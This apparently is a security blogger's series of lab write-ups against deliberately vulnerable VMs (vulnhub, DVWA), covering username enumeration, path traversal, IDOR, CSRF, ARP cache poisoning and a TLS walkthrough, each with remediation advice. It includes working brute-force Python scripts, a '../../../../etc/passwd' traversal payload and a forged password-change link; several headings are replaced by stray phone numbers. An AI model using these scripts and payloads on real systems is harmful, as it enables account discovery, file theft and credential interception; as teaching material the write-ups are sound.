Usernames enumeration

Today, I will talk about the vulnerability usernames enumeration.

Table of contents:

  1. Introduction
  2. Topology
  3. Detection
  4. Exploitation
  5. Remediation
  6. Conclusion

Introduction

User enumeration is when a malicious actor can use brute-force to either guess or confirm valid users in a system. User enumeration is often a web application vulnerability, though it can also be found in any system that requires user authentication.

In the context, I was exploiting a vulnerable VM,  Shulamite from  vulnhub. It contains several web vulnerabilities.

Topology

Detection

An authentication page is available at /192.168.0.4/account.php :

When testing a random username along the a password:

The webserver response is:

A vulnerability appears showing to the attacker that a username enumeration is possible by bruteforce. But what is the email domain ? The response is given in the terms page :

I know that the domain of the email for authentication is seattlesounds.net, let’s bruteforce.

Exploitation

I will test username using the rockyou dictionnary. But I have to analyze the request sent to the webserver using a proxy. The authentication is like above:

Using burp to understand the web request:

Now that I know how the web request is built, I do a script to automatize request and retrieve usernames:

#################################################################
#Objective:
# Brute-force for login enumeration
#Description:
# POST request to try to log on the application
#Date:
# 16/03/2017
#################################################################

import requests

#wordfile to use 
wordfile = "/root/ctf/wordlist/rockyou.txt"
wd = open(wordfile)

#content return when username error 
match='Invalid username, please try again.'

#credentials
#entry = 'admin@seattlesounds.net'
#entry = entry.rstrip("\n") 
mail = '@seattlesounds.net' 
password = 'random'

#target URL 
url = "/192.168.0.4/login.php"

#to know how much username has already been tested
i=0

for entry in wd:
        entry = entry.rstrip("\n")
        entry = entry + mail

        #data to be include when requesting 
        datas = {'password':password,'usermail':entry}
        #cookie to be include when requesting 
        cookie = {'level':'1'}
        request = requests.post(url, data = datas, cookies = cookie).text

        if match not in request:
                print(entry,': login correct')

        i=i+1
        if i%1000==0:
                print('Line',i)

The result of my script:

The first result consists in a false positive but the second result is a real one. How does it works in background ?

Remediation

The remediation is simple : don’t tell if it is the login which is wrong or the password. A general error message is the best:

“Authentication failed, be sure to have submit the good login/password”

Conclusion

The username enumeration consist in the first step for a identity theft. First the hacker looks for valids usernames then each one is tested along with a dictionary.

Fell free to comment 🙂

 

 

9192008533

Today, I will talk about the vulnerability path traversal.

Table of contents:

  1. Introduction
  2. Topology
  3. Detection
  4. Exploitation
  5. Remediation
  6. Conclusion

Introduction

The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server.

In the context, I was exploiting a vulnerable VM,  (703) 834-6277 from  vulnhub. It contains several web vulnerabilities.

Topology

Detection

The website allows the user to download a commercial brochure.

If the user hits the image, a download appears:

The PDF indicates clues for the vulnerabilities present on the server.

Exploitation

I will try to download another file from the server instead of the “Brochure.PDF” file.

To do it, I use a proxy when downloading the file:

I will try to download another file, for example the infamous “/etc/passwd”. I edit my request :

Then I forward it ! It works very well because a pop-up appears for saving the passwd file:

If I read it using my terminal…

I have access to the system user file ! The way of exploiting is to browse the filesystem arborescence such as:

So the payload is : ../../../../etc/passwd, the number of double dot is equal to the number of slash to go back to the root directory and then straight to the password file.

Remediation

  • Sanitize filenames parameters
  • Check the presence of backtracking such as “..” or also “~” which permit going to the home directory
  • Restrict filenames along with a knows good characters

Conclusion

By preventing this vulnerability, all sensitive document are remained safe.

 

 

Insecure direct-object reference

Today, I will talk about the vulnerability Insecure direct object reference.

Table of contents:

  1. Introduction
  2. Topology
  3. Detection
  4. Exploitation
  5. Remediation
  6. Conclusion

Introduction

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. An attacker can manipulate direct object references to access other objects without authorization, unless an access control check is in place.

For example, in Internet Banking applications, it is common to use the account number as the primary key. Therefore, it is tempting to use the account number directly in the web interface.

In the context, I was exploiting a vulnerable VM,  (925) 307-8117 from  vulnhub. It contains several web vulnerabilities.

Topology

Detection

By browsing the website, we discover that author are registered according to an id:

Therefore by testing all id, I can list all author on the website.

Exploitation

What are the information sent to the server whenever a request is done ?

I make a small python script to check if more author are on the website:

#################################################################
#Objective: 
# Brute-force for INsecureObjectReference
#Description: 
# GET request to know which are real id that normally can't
# be accessible
#Date:
# 24/09/2018
#################################################################

import requests

#content return when error
match='find any posts by author'

#parameter id number
i=0

#cookie to be include when GET requesting
cookie={'level':'1','lang':'USD'}

#number of parameter id to test
while i<=1000:

        #URL target
        url = "/192.168.0.4/blog.php?author=%s" % i

        request = requests.get(url, cookies=cookie).text

        #detect if an id number is valid
        if match not in request:
                print('valid author id:',i)

        #inform the number of id tested
        i=i+1
        if i%100==0:
                print(i,'nth authors tested')

The result of my script:

Unfortunately, no more author are referenced on the website. But I have only test for positive id’s, many there where negative but I doubt.

Network analysis for the first three web request looking for id’s:

We could that the author number one exist because the server response is different from the “author=0” and “author=2”.

Remediation

Always check on the server side that the user has the right to access the resource he is requesting for.

Also, add entropy on the ID to make sure a classic bruteforce cannot determine all referenced users through their ID range.

Conclusion

This is a classic vulnerability for people looking for privilege escalation or in order to access in an unauthorized area of the web application, “id=admin” for example.

 

415-680-5864

Today, I will talk about the vulnerability CSRF.

Table of contents:

  1. Introduction
  2. Topology
  3. Detection
  4. Exploitation
  5. Remediation
  6. Conclusion

Introduction

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth.

Topology

Detection

The page from the client side to change the user password:

If I launch the request that pass through a HTTP GET:

It renders this html source code:

The server source code:

It gives this algorithmic view:

Exploitation

Now I will forge a malicious link that change password when hit in the web browser:

http:/192.168.1.1/DVWA/vulnerabilities/csrf/?password_new=toto&password_conf=toto&Change=Change#

We pass the link in an URL shortener: (262) 767-0626817-770-8101

Step1:

Step2:

Step3:

Remediation

Verify user request with technical and functional mechanism:

  • Ask the user for the current password to validate any changes on the account

 

  • Implement client/server token verification

The new server side secure code:

Algorithmic view of the secure code:

2 exit security conditions can be seen throught the “If not” arrow.

Flowgraph for a legitimate password change along with a session token verification mechanism:

If the victim hit again the malicious link sent by the attacker:

The attack does not work anymore ! Admin not tricks again if he executes a malicious link ! No token send to the server because he was not grab on index.php before.. So an error appears !

Conclusion

Server side :

  • Implement the password verification to validate any strong changes on the account & add anti-CSRF token mechanism with a session cookie (user_token) [PHP code]

Client side:

  • Always use « disconnect » button when authenticated to delete the cookie associated to the session website. [web browser]

 

(954) 956-9173

Let’s discover how a client and a server communicate through the HTTPS protocol.

First Bob request the server by a web request, and he forwards TLS usefull information:

Now the server responds to Bob by a “Server Hello”:

Then server goes on with another message related with its certificate:

All the information from the server has been sent to the client.

Now the client has to verify that the signature is correct, “that is really the DVWA web server the client is communicating with”.

The DVWA signature is generated from the website certificate along with website public key, the both have been hashed. Then the certification authority cipher the hash value using its own private key.

It means that the website is trust because it has a certificate signs by a CA.

The owner of the website is also trusted because he gives personal information to a certificate authority such as address, name, and organization to make a certificate.

Now because the certificate has been verified, the TLS process can go on.

The client will now generate a pre-master key, ciphered using the DVWA public key.

Now Bob sends the new key to the DVWA server though a ciphered packet:

The DVWA server deciphered the server using its private key:

Then a pseudorandomized function is applied and with provided the client 32 bits, the server 32 bits and the shared pre-master key:

Now Bob request a page on the webserver, the HTTP request will be cipher using the symmetric primary key, the master secret:

The packet goes ciphered to the server:

Finally the DVWA server deciphers the packet using the primary key:

You know now how your traffic goes ciphered on Internet on a website having a certificate implemented ! 🙂

(828) 952-0190

Why do we need a certificate which includes personal information?

Let’s imagine a person on the network subnet. The hacker intercepts the network stream from Bob and forwards it to Alice. Each one has its own couple keys. Bob wants to communicate with Alice:

Now, Bob to cipher its message. So he asks naturally toward Alice asking her public key to cipher the email. But because the hacker is on the network, he intercepts the request, and forward toward Bob its own public key saying “Hi it is Alice, here is my public key, feel free to communicate securely with me by using it!”

Because Bob can’t verify that the public key is really associated with Alice, he has to trust!

So Bob was trap by the hacker, he sends to him his own public key!

Now Bob send the ciphered mail to Alice, using the hacker public key believing he has used Alice public key!

The hacker will receive the mail because he is in MiTM. But instead of forwarding it directly, he will intercept it, decipher it and see the content. To do it, he uses its own private key:

Now the hacker ciphers again the mail using Alice public key!

He then forwards the mail toward Alice:

Alice finally deciphers the mail using her private key:

As we could see, the real problem here is that Bob was not aware that the public key he used to cipher the mail was not the Alice public key but the hacker public key!

Then all was totally transparent. Here is the certificate utility: to trust the public key we used to cipher communication because it is related to a person or an entity.

(503) 220-9775

Let’s introduce to asymmetric cryptography. In a public key infrastructure, a standard user owns 2 keys: one private and one public.

Bob wants now to sign his message. The purpose is to authenticate him as well as testify message integrity.  To do it a hash function, SHA512, will be apply. A hash function permits having a data of fixed size from an arbitrary size of data. The mail message content will be hashed. Finally Bob ciphers the hash value using his private key.

Bob sends the mail to Alice. He don’t cipher it but he signs it.

Now Alice musts verify the signature that comes along the mail.

To do it, 2 operations will be made:

  • Hashing the mail content
  • Deciphered the signature, to have a hash in result

If the 2 result return the same hash value, then the signature is verified!

It is all related to the signature mechanism !

8176497687

Let’s introduce to asymmetric cryptography. In a public key infrastructure, a standard user owns 2 keys: one private and one public.

Let’s imagine a situation where 2 users, Bob and Alice, exchange by mail, but with security. Therefore, Bob ciphered his mail content with Alice public key.

Then he sends the ciphered mail to Alice through the information system:

Now Alice deciphered the mail sent by Bob using her own private key. It is why it is important she only possesses her private key for being the only person that could decipher message address to her, using Alice public key.

It is all related to the encryption mechanism 🙂

(802) 339-6787

Today, I will talk about the ARP cache poisoning.

Table of contents:

  1. Introduction
  2. Topology
  3. How does ARP protocol works ?
  4. Technical attack
  5. Network flow explanation
  6. Remediation
  7. Conclusion

Introduction

The Address Resolution Protocol (ARP) is a communication protocol used for discovering the link layer address, such as a MAC address, associated with a given network layer address, typically an IPv4 address. This mapping is a critical function in the Internet protocol suite. ARP was defined in 1982 by RFC 826,[1] which is Internet Standard STD 37.

ARP has been implemented with many combinations of network and data link layer technologies, such as IPv4, Chaosnet, DECnet and Xerox PARC Universal Packet (PUP) using IEEE 802 standards, FDDI, X.25, Frame Relay and Asynchronous Transfer Mode (ATM). IPv4 over IEEE 802.3 and IEEE 802.11 is the most common usage.

In Internet Protocol Version 6 (IPv6) networks, the functionality of ARP is provided by the Neighbor Discovery Protocol (NDP).

Here I will illustrate vulnerability in ARP protocol named ARP spoofing.

Image1.png

From the OSI model above, the ARP protocol is between layer 2 and 3 as it links a MAC address to an IP address.

Topology

Image1.png

How does ARP protocol works ?

The employee wants to configure the router. There is no entry in its ARP table:

Image1.png

So he has to know if the router he wants to manage is up or down. A ping is launched:

Image1.png

He discovers that its ARP table has been updated:

Image1.png

So how does it work in background exactly ?

There is no entry in ARP table of the Windows7 related to IP 192.168.0.254, so an ARP message is broadcasted, telling :

“Source:08:00:27:85:c5:cd
Destination: ff:ff:ff:ff:ff:ff
Who has IP 192.168.0.254 ? Respond to 192.168.0.2 !”

Image1.png

Then the concerned party, the router, responds by an ARP reply message telling:

“Source: c2:01:2b:d4:00:00
Destination: 08:00:27:85:c5:cd
192.168.0.254 is at c2:01:2b:d4:00:00”

Image1.png

The ping is send to router because the employee computer knows the MAC address related to the IP on the LAN:

“Source: 192.168.0.2
Destination: 192.168.0.254
Echo request (ping)”

Image1.png

Finally the router responds to the pings with a ICMP reply. So the router is up on the LAN:

“Source: 192.168.0.254
Destination: 192.168.0.2
Echo reply (ping)”

Image1.png

Here is a network tape using Wireshark that summarize the network exchange:

Image1.png

So what is the vulnerability related to this simple protocol ?

Technical attack

The hacker will attack the employee Win7 computer to inspect all the communications.

First I have to turn on the IP forwarding. IP forwarding also known as IP routing or Internet routing is a process used to determine which path a packet or datagram can be sent.The process uses routing information to make decisions and is designed to send a packet over multiple networks.
It will be used to forward the packet from the victim to the router after being intercepted by the hacker:

tmp.png

Now I will poisoned the ARP cache table of both the victim and the router. So I will two commands in parallel:

tmp.png

1) I will poison the ARP table of 192.168.0.2 by telling him that 192.168.0.254 is at 192.168.0.1’s MAC address. To do so, I forward to him my MAC address like the MAC address corresponding to 192.168.0.254
2) I will poison the ARP table of 192.168.0.254 by telling him that 192.168.0.2 is at 192.168.0.1’s MAC address. To do so, I forward to him my MAC address like the MAC address corresponding to 192.168.0.2

I launch the attack!

tmp.png

On Wireshark we can see the ARP bombing:

tmp.png

Now, the hacker opens up a Wireshark console to inspect all traffic outgoing from the LAN:

tmp.png

All the unciphered traffic can be analyzed and usernames:passwords can be retrieved for identity usurpation !

Network flow explanation

Here how the attack works. First I resume the ARP tables on the LAN originally:

Victim Hacker Router
08:00:27:85:C5:CD 08:00:27:27:06:D4 C2:01:2C:30:00:00

ARP table of the devices before the attack:

Router

tmp.png

Windows 7 client

tmp.png

ARP table of the devices after the attack:

Router

tmp.png

Windows 7 client

tmp.png

Here is the ARP flow in background with still the same topology:

tmp.png

The hacker knows the IP of a host on the LAN due to a previous recon scan but he don’t have a clue about its MAC address.
“Source:08:00:27:27:06:d4
Destination: ff:ff:ff:ff:ff:ff
Who has IP 192.168.0.2 ? Respond to 192.168.0.1 !”

Sans titre.png

The concerned party responds to the hacker giving its MAC address:
“Source: 08:00:27:85:c5:cd
Destination: 08:00:27:27:06:d4
192.168.0.2 is at 08:00:27:85:c5:cd”

Sans titre.png

The hacker knows the IP of its gateway due to its network configuration but he wants the MAC address associated:
“Source:08:00:27:27:06:d4
Destination: ff:ff:ff:ff:ff:ff
Who has IP 192.168.0.254 ? Respond to 192.168.0.1 !”

Sans titre.png

The network interface of the router connected on the user LAN responds:
“Source: c2:01:2b:d4:00:00
Destination: 08:00:27:27:06:d4
IP 192.168.0.254 is at c2:01:2b:d4:00:00”

Sans titre.png

Now the hacker will send false ARP declaration to spoof ARP table and set the MiTM. First the W7 client is poisoned:
“Source: 08:00:27:27:06:d4
Destination: 08:00:27:85:c5:cd
192.168.0.254 is at 08:00:27:27:06:d4 !”

Sans titre.png

Then, the router ARP table is poisoned with a false ARP message from the hacker:
“Source: 08:00:27:27:06:d4
Destination: c2:01:2b:d4:00:00
IP 192.168.0.2 is at 08:00:27:27:06:d4”

Sans titre.png

Now if the client wants to reach the webserver, the request will be forward first to the hacker and then to the webserver:
“Source: 192.168.0.2
Destination: 192.168.1.1
HTTP GET /WebServerDirectory”

Image1.png

Then, the hacker route the packet toward the network exit node:
“Source: 192.168.0.2
Destination: 192.168.1.1
HTTP GET /WebServerDirectory”

Image1.png

The Wireshark tape is alike:

Image1.png

The HTTP interception flow is alike:

Sans titre.png

Remediation

The best solution is to monitor traffic by configuring VLAN.
In the topology above, I have done port-based VLAN.

Sans titre.png

You can also:

-Configure a rule to raise an alert if too many ARP message are spread on the network in a short period of time  [SOC]

-Only trusted secure protocols such as HTTPS, SSH… [in-depth defense]

Conclusion

ARP spoofing is a long time attack but still efficient.
Because it is on the layer 2, the remediation is not evident. But some hardening functions could be applied on the switch or on the network monitoring to detect ARP spoofing.

If you have any question, I will be glad to answer you back ????

Also have my twitter account, gr3g0v1tch !

 

646-719-1939

Today I will talk about the difference between the HTTP and HTTPS network flow and how HTTPS works in background, introducing cryptography concepts.

Table of contents:

  1. Introduction
  2. Topology
  3. Attack, HTTP inspection
  4. Remediation
  5. HTTPS inspection
  6. TLS explanation
  7. Conclusion

Introduction

The Hypertext Transfer Protocol (HTTP) is an application protocol for distributed, collaborative, and hypermedia information systems. HTTP is the foundation of data communication for the World Wide Web.

The most popular way of establishing an encrypted HTTP connection is HTTPS.[27] Two other methods for establishing an encrypted HTTP connection also exist: Secure Hypertext Transfer Protocol, and using the HTTP/1.1 Upgrade header to specify an upgrade to TLS. Browser support for these two is, however, nearly non-existent.

The purpose is to analyze of flow in HTTP and another one in HTTPS and compare difference.

Topology

 

Sans titre.png

Attack, HTTP inspection

The hacker has compromised the employee computer ( with ARP poisoning, LAN MiTM).

All the traffic to/from the employee (192.168.0.2) is intercepted by the hacker (192.168.0.1), modified or not, and then forward to the router/the employee.

Sans titre.png

The legitimate employee authenticates on web page without encryption:

Image2.png

Here is what the hacker see on its network analyzer when the hacker is tapping the network for HTTP protocol:

Sans titre.png

The credentials are forwarding to the server in clear on the network and the hacker can use the login:password retrieved : identity usurpation !

To remind with the OSI model, a compromise on the network layer compromised all the layers above:

Sans titre.png

So how to have the communication safe even if the computer is compromised and a MiTM occurred ?

Remediation

I will implement TLS on the server.

I create a special virtualhost file dedicated to my DVWA web application from the 000-default.conf:

osboxes@osboxes:/etc/apache2/sites-available$ ls
000-default.conf default-ssl.conf dvwa.com.conf

Here is dvwa.com.conf content:

<VirtualHost *:80>
 ServerName dvwa.com
 ServerAlias www.dvwa.com
 ServerAdmin webmaster@localhost DocumentRoot /var/www/html/
 ErrorLog ${APACHE_LOG_DIR}/error.log
 CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

I activate the new configuration:

osboxes@osboxes:/etc/apache2/sites-available$ sudo a2ensite dvwa.com.conf
Enabling site dvwa.com.
To activate the new configuration, you need to run:
service apache2 reload
osboxes@osboxes:/etc/apache2/sites-available$ sudo service apache2 reload
Antoine GUEGANIC HTTP vs HTTPS 32
* Reloading web server apache2

My virtualhost dedicated to my web application is activated.
Now I activate the SSL mod :

osboxes@osboxes:~$ sudo a2enmod ssl
[sudo] password for osboxes:
Considering dependency setenvif for ssl:
Module setenvif already enabled
Considering dependency mime for ssl:
Module mime already enabled
Considering dependency socache_shmcb for ssl:
Module socache_shmcb already enabled
Module ssl already enabled

I restart the web service:

osboxes@osboxes:/etc/apache2/sites-available$ sudo service apache2 restart
* Restarting web server apache2 [ OK ]

Let’s start off by creating a subdirectory within Apache’s configuration hierarchy to place the certificate files that we will be making:

osboxes@osboxes:/etc/apache2/sites-available$ sudo mkdir /etc/apache2/ssl

Now that we have a location to place our key and certificate, we can create them both in one step by typing:

osboxes@osboxes:/etc/apache2/sites-available$ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt
Generating a 2048 bit RSA private key
.............+++
................+++
writing new private key to '/etc/apache2/ssl/apache.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Ille-et-Vilaine
Locality Name (eg, city) []:Rennes
Organization Name (eg, company) [Internet Widgits Pty Ltd]:DVWA
Organizational Unit Name (eg, section) []:security
Common Name (e.g. server FQDN or YOUR name) []:dvwa.com
Email Address []:

Sans titre.png

The private key looks like this:

osboxes@osboxes:/etc/apache2/sites-available$ cat /etc/apache2/ssl/apache.key
Sans titre.png

The certificate:

osboxes@osboxes:/etc/apache2/sites-available$ cat /etc/apache2/ssl/apache.crt
Sans titre.png

Instead of basing our configuration file off of the 000-default.conf file in the sites-available subdirectory, we’re going to base this configuration on the default-ssl.conf file that contains some default SSL configuration:

osboxes@osboxes:/etc/apache2/sites-available$ cat default-ssl.conf
<IfModule mod_ssl.c>
 <VirtualHost _default_:443>
  ServerAdmin webmaster@localhost
  ServerName dvwa.com
  ServerAlias www.dvwa.com
  DocumentRoot /var/www/html
  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined
  SSLEngine on
  SSLCertificateFile /etc/apache2/ssl/apache.crt
  SSLCertificateKeyFile /etc/apache2/ssl/apache.key
  <FilesMatch "\.(cgi|shtml|phtml|php)$">
   SSLOptions +StdEnvVars
  </FilesMatch>
  <Directory /usr/lib/cgi-bin>
   SSLOptions +StdEnvVars
  </Directory>
  BrowserMatch "MSIE [2-6]" \
  nokeepalive ssl-unclean-shutdown \
  downgrade-1.0 force-response-1.0
  # MSIE 7 and newer should be able to use keepalive
  BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
 </VirtualHost>
</IfModule>

I enable the SSL-virtual host:

osboxes@osboxes:/etc/apache2/sites-available$ sudo a2ensite default-ssl.conf
[sudo] password for osboxes:
Enabling site default-ssl.
To activate the new configuration, you need to run:
service apache2 reload
osboxes@osboxes:/etc/apache2/sites-available$ sudo service apache2 reload
* Reloading web server apache2

When I reach my website over the 443 port, I get a warning message :

Sans titre.png

Indeed, because the certificate is self-signed, it is not trusted. I accept it.
If I want to have details about the certificate:

Sans titre.png

HTTPS inspection

The legitimate employee authenticates on the same web page with encryption this time:

Image1.png

The hacker is still in MiTM:

Image3.png

He could suspect a web activity regarding the port reached, 443 (famous for HTTPS):

Image4.png

But he don’t have a clue about what the parameters (credentials) forwarded toward the server !

TLS explanation

Now I will explain each packet part in the TLS handshake and encryption. First, best to know is that the exchange above was tape during two main steps:

  • from 51 to 82, consisting of reaching 6169404465
  • 129 to 171, consisting of forwarding parameters toward the server through the POST method

Client “Client Hello” packet

Client forwards the maximum TSL version it supports, as well as the cipher suites it can handle with, by top down preference, and a 32 bits random value.

tmp.png

The client will send a list of all the SSL/TLS protocol versions it supports, with the preferred one being first on the list. The preferred one is usually, and should be, the latest available version.

tmp.png

Cipher suites are combination of cryptographic algorithms which are used to define the overall security of the connection to be established. Typically, each cipher suite contains one cryptographic algorithm for each of the following: Key Exchange, Authentication, Bulk (data) Encryption and Message Authentication.

tmp.png

A 32-byte random data of which 4 bytes represent the client’s current datetime (in epoch format) and the remaining 28 bytes, a randomly generated number. The Client’s random and Server’s random will later be used to generate the key which the data will be encrypted with.

Server “Server Hello” packet

tmp.png

The packet is from the server and tells the client the TLS version they will use, the cipher suite and the random value. The server will (not blindly) select the Client’s preferred version of SSL/TLS protocol.

tmp.png

If supported, the server will agree on the Client’s preferred cipher suite.

tmp.png

32 bytes of random data, out of which 4 bytes represent the server’s current datetime (in epoch format), and the rest 28 bytes is a randomly generated number will be sent to the client. The Server’s random and Client’s random will later on be used to generate the key with which the data will be encrypted.

Server “Certificate” packet

From the server toward the client, consist in the server certificate:

tmp.png

Here only one certificate because I implement a self-signed. Otherwise, they would the one from the CA as well:

tmp.png

tmp.png

It also contains the server public key.

Server “Server key exchange” packet

tmp.png

Additional message from the server to the client to indicate it the public key the client will use to cipher information for the session key.

tmp.png

Server “Server Hello done” packet

The server indicates it sends all information to the client:

tmp.png

Client “Client key exchange” packet

tmp.png

The client generates a pre-master key. It is generated from a random number. The random nonce is then ciphered using the server public key from the server certificate which contains the public key:

tmp.png

This means that only the server can decrypt the message since asymmetric encryption is being used for the pre-master secret exchange.

preMasterSecret = random()

Client “Change cypher-spec” packet

The Change Cipher Spec protocol is used to change the encryption being used by the client and server. The client encrypted the pre-master key using the server public key.

tmp.png

encrypt(certicate.publicKey, preMasterSecret)

Client “Encrypted handshake message” packet

This is the first encrypted message sent from the client to the server. It is the pre-master secret key that has been encrypted using the server public key.

tmp.png

Server “Change cypher spec” packet

The server tells the client to change the ciphering mode, going the the symetric way.
Indeed, after the server receives the pre-master secret key, it uses its private key to decrypt it.
Now the server will compute the master-secret key based on the random values exchanged earlier (pre-master key, ClientRandom and ServerRandom).

tmp.png

Server “Encrypted handshake message” packet

The server responds to the client and confirms to it that the server can handle the TLS encrypted session.

tmp.png

Client application data

This is the first packet out of the handshake protocol.
Here we know that originally, it was an HTTP packet that has been ciphered using SSL (TSL) protocol.

And it goes on for each request, a new shared master key is generated from the concatenation of the two 32 bits randomly generated from the client and server.

Then ciphered using server public key.

tmp.png

Conclusion

The concept introduced here is the “in-depth-defense”.

Sans titre.png

It means that even if you got a layer compromised, by hardening a higher layer, you can protect the sensitive information that pass through the network.

Futhermore, pay attention to these additional security mesures:

-Always set “secure cookies” on the server for making them being transmitted only over encrypted HTTP connections (SSL/TLS) [Server]

-Be aware if your Certificate Authority has been compromised by having its private keys stealed [Security watch]

If you have any question, I will be glad to answer you back ????

Also have my twitter account, gr3g0v1tch !